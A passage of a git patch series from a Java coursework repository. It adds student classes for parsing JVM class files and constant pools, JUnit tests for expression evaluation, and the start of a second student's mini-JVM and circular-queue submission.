diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..c0eb449085
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]"; 
+	}
+
+	public String getClassName() {
+		ClassInfo classInfo = (ClassInfo)this.getConstantInfo(this.getClassInfoIndex());
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		return utf8Info.getValue();
+	}
+
+	public String getFieldName() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getFieldType() {
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..85bb5c4934
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.sprint.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	private int type = ConstantInfo.METHOD_INFO;
+
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString() {
+		return getClassName() + ":" + this.getMethodName() + ":" + this.getParamAndReturnType(); 
+	}
+
+	public String getClassName() {
+		ConstantPool pool = this.getConstantPool();
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+
+	public String getMethodName() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+
+	public String getParamAndReturnType() {
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+}
+
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..492fd6e0db
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+	private int index1;
+	private int index2;
+
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+
+	public int getIndex1() {
+		return index1;
+	}
+
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
+	public int getIndex2() {
+		return index2;
+	}
+
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+
+	public String getName() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue(); 
+	}
+
+	public String getTypeInfo() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+
+	public String toString() {
+		return "(" + getName() + "," + getTypeInfo() + ")";
+	}
+
+
+}
+
+
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..f257cea240
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,12 @@
+package com.sprint.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+	public NullConstantInfo() {
+	
+	}
+
+	@Override
+	public int getType() {
+		return -1;
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/StringInfo.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..73c58a5e71
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.sprint.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+
+	public StringInfo(ConstantPool constantPool) {
+		super(constantPool);
+	} 
+
+	public int getType() {
+		return type;
+	} 
+
+	public int getIndex() {
+		return index;
+	}
+
+	public void setIndex(int index) {
+		this.index = index;
+	}  
+
+	public String toString() {
+		return this.getConstantPool().getUTF8String(index);
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/UTF8Info.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5516999c0e
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/constant/UTF8Info.java
@@ -0,0 +1,35 @@
+package com.sprint.jvm.constant;
+
+public class UTF8Info extends ConstantInfo {
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length; 
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getLength() {
+		return length;
+	}
+
+	public void setLength(int length) {
+		this.length = length;
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public String getValue() {
+		return value;
+	}
+
+	public void setValue(String value) {
+		this.value = value;
+	}
+
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..fc5d1b2ac2
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,50 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.util.Util;
+import java.util.Arrays;
+public class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+	ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public byte[] getBytes(int len) {
+		if (pos + len >= codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}	
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos += len;
+		return data;
+	}
+
+	public int nextU1ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++]});
+	} 
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++]});
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[] {codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+	}
+
+	public String nextUxToHexString(int len) {
+		byte[] tmp = new byte[len];
+		for (int i = 0; i < len; i++) {
+			tmp[i] = codes[pos++];
+		}
+		return Util.byteToHexString(tmp).toLowerCase();
+	}
+
+	public void back(int n) {
+		this.pos -= n;
+	}
+
+
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..f190f54915
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,52 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import java.io.IOException;
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.List;
+import java.util.ArrayList;
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+public class ClassFileLoader {
+	private List<String> clzPaths = new ArrayList<String>();
+	public byte[] readBinaryCode(String className) {
+		className = className.replace('.', File.separatorChar) + ".class";
+		for (String path : this.clzPaths) {
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if (codes != null) {
+				return codes;
+			}
+		}
+		return null;
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+		File f = new File(clzFileName);
+		try {
+			return IOUtils.toByteArray(new FileInputStream(f));	
+		} catch(IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+	public void addClassPath(String path) {
+		if (this.clzPaths.contains(path)) {
+			return;
+		}
+		this.clzPaths.add(path);
+	}
+
+	public String getClassPath() {
+		return StringUtils.join(this.clzPaths, ";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileParser.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4b77190a04
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/loader/ClassFileParser.java
@@ -0,0 +1,107 @@
+package com.sprint.jvm.loader;
+
+import com.sprint.jvm.clz.ClassFile;
+import com.sprint.jvm.clz.AccessFlag;
+import com.sprint.jvm.clz.ClassIndex;
+import com.sprint.jvm.constant.ClassInfo;
+import com.sprint.jvm.constant.ConstantPool;
+import com.sprint.jvm.constant.FieldRefInfo;
+import com.sprint.jvm.constant.NameAndTypeInfo;
+import com.sprint.jvm.constant.NullConstantInfo;
+import com.sprint.jvm.constant.MethodRefInfo;
+import com.sprint.jvm.constant.StringInfo;
+import com.sprint.jvm.constant.UTF8Info;
+import java.io.UnsupportedEncodingException;
+public class ClassFileParser {
+	public ClassFile parse(byte[] codes) {
+		ClassFile clzFile = new ClassFile(); 		
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		String magicNumber = iter.nextU4ToHexString();
+		if (!"cafebabe".equals(magicNumber)) {
+			return null;
+		}
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		System.out.println("minor:" + clzFile.getMinorVersion());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+		System.out.println("marjor:" + clzFile.getMajorVersion());
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstantPool(pool);
+		
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex clzIndex = parseClassIndex(iter);
+		clzFile.setClassIndex(clzIndex);
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag flag = new AccessFlag(iter.nextU2ToInt());
+		return flag;
+	}
+	
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.nextU2ToInt();
+		int superClassIndex = iter.nextU2ToInt();
+
+		ClassIndex clzIndex = new ClassIndex();
+		clzIndex.setThisClassIndex(thisClassIndex);
+		clzIndex.setSuperClassIndex(superClassIndex);
+		return clzIndex;
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int constPoolCount = iter.nextU2ToInt();
+		System.out.println("Constant Pool Count :" + constPoolCount);
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		for (int i = 1; i <= constPoolCount - 1; i++) {
+			int tag = iter.nextU1ToInt();
+			if (tag == 7) {
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo clzInfo = new ClassInfo(pool);
+				clzInfo.setUtf8Index(utf8Index);
+				pool.addConstantInfo(clzInfo);
+			} else if (tag == 1) {
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String value = null;
+				try {
+					value = new String(data, "UTF-8");	
+				} catch (UnsupportedEncodingException e) {
+					e.printStackTrace();
+				}
+
+				UTF8Info utf8Str = new UTF8Info(pool);
+				utf8Str.setLength(len);
+				utf8Str.setValue(value);
+				pool.addConstantInfo(utf8Str);
+			} else if (tag == 8) {
+				StringInfo info = new StringInfo(pool);
+				info.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(info);
+			} else if (tag == 9) {
+				FieldRefInfo field = new FieldRefInfo(pool);
+				field.setClassInfoIndex(iter.nextU2ToInt());
+				field.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(field);
+			} else if (tag == 10) {
+				MethodRefInfo method = new MethodRefInfo(pool);
+				method.setClassInfoIndex(iter.nextU2ToInt());
+				method.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(method);
+			} else if (tag == 12) {
+				NameAndTypeInfo nameType = new NameAndTypeInfo(pool);
+				nameType.setIndex1(iter.nextU2ToInt());
+				nameType.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameType);
+			} else {
+				throw new RuntimeException("the constant pool tag:" + tag + "has no been implemented yet.");
+			} 
+		}	
+		System.out.println("Finished reading Constant Pool");
+		return pool;
+	}
+
+
+}
diff --git a/group11/1178243325/week09/src/main/java/com/sprint/jvm/util/Util.java b/group11/1178243325/week09/src/main/java/com/sprint/jvm/util/Util.java
new file mode 100644
index 0000000000..0f5dc89626
--- /dev/null
+++ b/group11/1178243325/week09/src/main/java/com/sprint/jvm/util/Util.java
@@ -0,0 +1,22 @@
+package com.sprint.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes) {
+		String s1 = byteToHexString(codes);
+		return Integer.valueOf(s1, 16).intValue();
+	}
+
+	public static String byteToHexString(byte[] codes) {
+		StringBuffer buffer = new StringBuffer();
+		for (int i = 0; i < codes.length; i++) {
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if (strHex.length() < 2) {
+				strHex = "0" + strHex;
+			}
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}	
diff --git a/group11/1178243325/week09/src/test/java/com/sprint/datastructure/InfixToPostfixTest.java b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/InfixToPostfixTest.java
new file mode 100644
index 0000000000..b84e754655
--- /dev/null
+++ b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/InfixToPostfixTest.java
@@ -0,0 +1,41 @@
+package com.sprint.datastructure;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PostfixExprTest.java b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PostfixExprTest.java
new file mode 100644
index 0000000000..d2870efffe
--- /dev/null
+++ b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PostfixExprTest.java
@@ -0,0 +1,39 @@
+package com.sprint.datastructure;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PrefixExprTest.java b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PrefixExprTest.java
new file mode 100644
index 0000000000..3c21b9dcc1
--- /dev/null
+++ b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/PrefixExprTest.java
@@ -0,0 +1,46 @@
+package com.sprint.datastructure;
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group11/1178243325/week09/src/test/java/com/sprint/datastructure/TokenParserTest.java b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/TokenParserTest.java
new file mode 100644
index 0000000000..67ccfb52f0
--- /dev/null
+++ b/group11/1178243325/week09/src/test/java/com/sprint/datastructure/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.sprint.datastructure;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}

From c0d2a4bf099c288ce8126b2ea6102a089100d3f6 Mon Sep 17 00:00:00 2001
From: learnGithubChen <729245768@qq.com>
Date: Fri, 5 May 2017 16:45:27 +0800
Subject: [PATCH 182/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170430/CircleQueue.java   |  53 ++++++
 .../src/main/coding_170430/Josephus.java      |  34 ++++
 .../coding_170430/QueueWithTwoStacks.java     |  46 ++++++
 .../coding_170430/jvm/attr/AttributeInfo.java |  21 +++
 .../main/coding_170430/jvm/attr/CodeAttr.java |  66 ++++++++
 .../jvm/attr/LineNumberTable.java             |  68 ++++++++
 .../jvm/attr/LocalVariableItem.java           |  52 ++++++
 .../jvm/attr/LocalVariableTable.java          |  50 ++++++
 .../coding_170430/jvm/attr/StackMapTable.java |  23 +++
 .../coding_170430/jvm/clz/AccessFlag.java     |  28 ++++
 .../main/coding_170430/jvm/clz/ClassFile.java |  96 +++++++++++
 .../coding_170430/jvm/clz/ClassIndex.java     |  25 +++
 .../main/coding_170430/jvm/cmd/BiPushCmd.java |  20 +++
 .../jvm/cmd/ByteCodeCommand.java              | 151 ++++++++++++++++++
 .../coding_170430/jvm/cmd/CommandParser.java  | 127 +++++++++++++++
 .../coding_170430/jvm/cmd/GetFieldCmd.java    |  19 +++
 .../jvm/cmd/GetStaticFieldCmd.java            |  20 +++
 .../jvm/cmd/InvokeSpecialCmd.java             |  19 +++
 .../jvm/cmd/InvokeVirtualCmd.java             |  24 +++
 .../main/coding_170430/jvm/cmd/LdcCmd.java    |  30 ++++
 .../coding_170430/jvm/cmd/NewObjectCmd.java   |  19 +++
 .../coding_170430/jvm/cmd/NoOperandCmd.java   |  22 +++
 .../coding_170430/jvm/cmd/OneOperandCmd.java  |  27 ++++
 .../coding_170430/jvm/cmd/PutFieldCmd.java    |  19 +++
 .../coding_170430/jvm/cmd/TwoOperandCmd.java  |  68 ++++++++
 .../coding_170430/jvm/constant/ClassInfo.java |  32 ++++
 .../jvm/constant/ConstantInfo.java            |  33 ++++
 .../jvm/constant/ConstantPool.java            |  26 +++
 .../jvm/constant/FieldRefInfo.java            |  57 +++++++
 .../jvm/constant/MethodRefInfo.java           |  59 +++++++
 .../jvm/constant/NameAndTypeInfo.java         |  53 ++++++
 .../jvm/constant/NullConstantInfo.java        |  16 ++
 .../jvm/constant/StringInfo.java              |  31 ++++
 .../coding_170430/jvm/constant/UTF8Info.java  |  40 +++++
 .../jvm/engine/ExecutionResult.java           |  46 ++++++
 .../jvm/engine/ExecutorEngine.java            |  20 +++
 .../main/coding_170430/jvm/engine/Heap.java   |  34 ++++
 .../coding_170430/jvm/engine/JavaObject.java  |  70 ++++++++
 .../coding_170430/jvm/engine/MethodArea.java  |  52 ++++++
 .../main/coding_170430/jvm/engine/MinJVM.java |  20 +++
 .../coding_170430/jvm/engine/StackFrame.java  |  66 ++++++++
 .../main/coding_170430/jvm/field/Field.java   |  44 +++++
 .../jvm/loader/ByteCodeIterator.java          |  54 +++++++
 .../jvm/loader/ClassFileLoader.java           |  91 +++++++++++
 .../jvm/loader/ClassFileParse.java            | 142 ++++++++++++++++
 .../main/coding_170430/jvm/method/Method.java |  83 ++++++++++
 .../jvm/print/ClassFilePrinter.java           |  33 ++++
 .../jvm/print/ConstantPoolPrinter.java        |  35 ++++
 .../src/main/coding_170430/jvm/util/Util.java |  25 +++
 49 files changed, 2289 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/CircleQueue.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/Josephus.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/QueueWithTwoStacks.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/AttributeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/CodeAttr.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LineNumberTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableItem.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/LocalVariableTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/attr/StackMapTable.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/AccessFlag.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassFile.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/clz/ClassIndex.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/BiPushCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/ByteCodeCommand.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/CommandParser.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/GetStaticFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeSpecialCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/InvokeVirtualCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/LdcCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NewObjectCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/NoOperandCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/OneOperandCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/PutFieldCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/cmd/TwoOperandCmd.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ClassInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/ConstantPool.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/StringInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/constant/UTF8Info.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutionResult.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/ExecutorEngine.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/Heap.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/JavaObject.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MethodArea.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/MinJVM.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/engine/StackFrame.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/field/Field.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/loader/ClassFileParse.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/method/Method.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ClassFilePrinter.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/print/ConstantPoolPrinter.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170430/jvm/util/Util.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170430/CircleQueue.java b/group11/729245768/DataStructure/src/main/coding_170430/CircleQueue.java
new file mode 100644
index 0000000000..4cdbb5143e
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170430/CircleQueue.java
@@ -0,0 +1,53 @@
+package main.coding_170430;
+
+import java.util.EmptyStackException;
+
+/**
+ * Created by peterchen on 2017/5/4.
+ */
+public class CircleQueue <E> {
+
+    private   int DEFAULT_SIZE = 10;
+
+    //用数组来保存循环队列的元素
+    private Object[] elementData  ;
+
+    //队头
+    private int front = 0;
+    //队尾
+    private int rear = 0;
+    public CircleQueue(){
+        elementData =new Object[DEFAULT_SIZE];
+    }
+    public CircleQueue(int capacity){
+        this.DEFAULT_SIZE = capacity;
+        elementData = new Object[DEFAULT_SIZE];
+    }
